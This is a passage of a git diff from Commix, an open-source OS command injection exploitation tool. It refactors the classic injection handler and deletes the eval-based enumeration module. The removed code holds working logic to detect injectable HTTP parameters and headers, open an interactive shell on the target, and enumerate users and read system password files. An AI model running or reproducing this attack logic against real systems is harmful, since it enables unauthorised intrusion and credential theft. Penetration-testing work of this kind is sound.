src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.classic import cb_payloads -from src.core.injections.results_based.techniques.classic import cb_enumeration -from src.core.injections.results_based.techniques.classic import cb_file_access -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape + +from src.core.injections.controller import handler """ The "classic" technique on result-based OS command injection. @@ -51,247 +23,13 @@ The "classic" injection technique handler. """ def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - - shell = False - counter = 1 - vp_flag = True - no_result = True - is_encoded = False - export_injection_info = False - - checks.testing_technique_title(injection_type, technique) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.CLASSIC_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - checks.error_loading_session_file() - - else: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.decision(separator, TAG, randv1, randv2) - - # Define prefixes & suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = cb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = cb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = cb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - - # Evaluate test results. - time.sleep(timesec) - shell = cb_injector.injection_test_results(response, TAG, randvcalc) - if settings.VERBOSITY_LEVEL == 0: - percent, float_percent = checks.percentage_calculation(i, total) - percent = checks.print_percentage(float_percent, no_result, shell) - checks.injection_process(injection_type, technique, percent) - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - # Check for any enumeration options. - cb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check for any system file access options. - cb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check if defined single cmd. - if menu.options.os_cmd: - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True : - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # Command execution results. - time.sleep(timesec) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - try: - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - continue - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell or shell != "": - shell = unescape(shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except (KeyboardInterrupt, SystemExit): - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else: - settings.print_data_to_stdout(settings.END_LINE.CR) - + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False + return cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) # eof diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index ab5f94b3c1..11a2f297e4 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -12,300 +12,29 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import json -import string -import random -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.results_based.techniques.classic import cb_payloads -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape -""" -The "classic" technique on result-based OS command injection. -""" +from src.core.injections.controller import injector """ -Check if target host is vulnerable. +The "classic" technique on result-based OS command injection. """ -def injection_test(payload, http_request_method, url): - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - if settings.SINGLE_WHITESPACE in payload: - payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Get the response of the request. - response = requests.get_request_response(request) - - return response, vuln_parameter """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True or response is None: - return False - else: - # Check the execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + TAG + TAG, html_data) - else: - shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) - if len(shell) > 1: - shell = shell[0] - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) +def injection_test_results(response, TAG, randvcalc, technique): + return injector.injection_test_results(response, TAG, randvcalc, technique) """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - if alter_shell: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ The command execution results. """ -def injection_results(response, TAG, cmd): - - false_result = False - try: - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - for end_line in settings.END_LINES_LIST: - if end_line in html_data: - html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) - break - - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) - if not shell: - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) - if not shell: - return shell - try: - if TAG in shell: - shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) - # Clear junks - shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] - shell = [backslash.replace(r"\/","/") for backslash in shell] - except UnicodeDecodeError: - pass - if settings.TARGET_OS == settings.OS.WINDOWS: - if menu.options.alter_shell: - shell = [right_space.rstrip() for right_space in shell] - shell = [left_space.lstrip() for left_space in shell] - if "<<<<" in shell[0]: - false_result = True - else: - if shell[0] == "%i" : - false_result = True - - except AttributeError: - false_result = True - - if false_result: - shell = "" - - return shell +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py deleted file mode 100755 index 5b90517c13..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ /dev/null @@ -1,331 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import requests -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" -The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = cmd = checks.quoted_cmd(cmd) - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = eb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = eb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.CURRENT_USER - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_CURRENT_USER - # cmd = cmd + settings.WIN_REPLACE_WHITESPACE - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - if not alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.EVAL_SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = eb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = eb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - checks.print_enumenation().ps_version_msg() - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.is_root 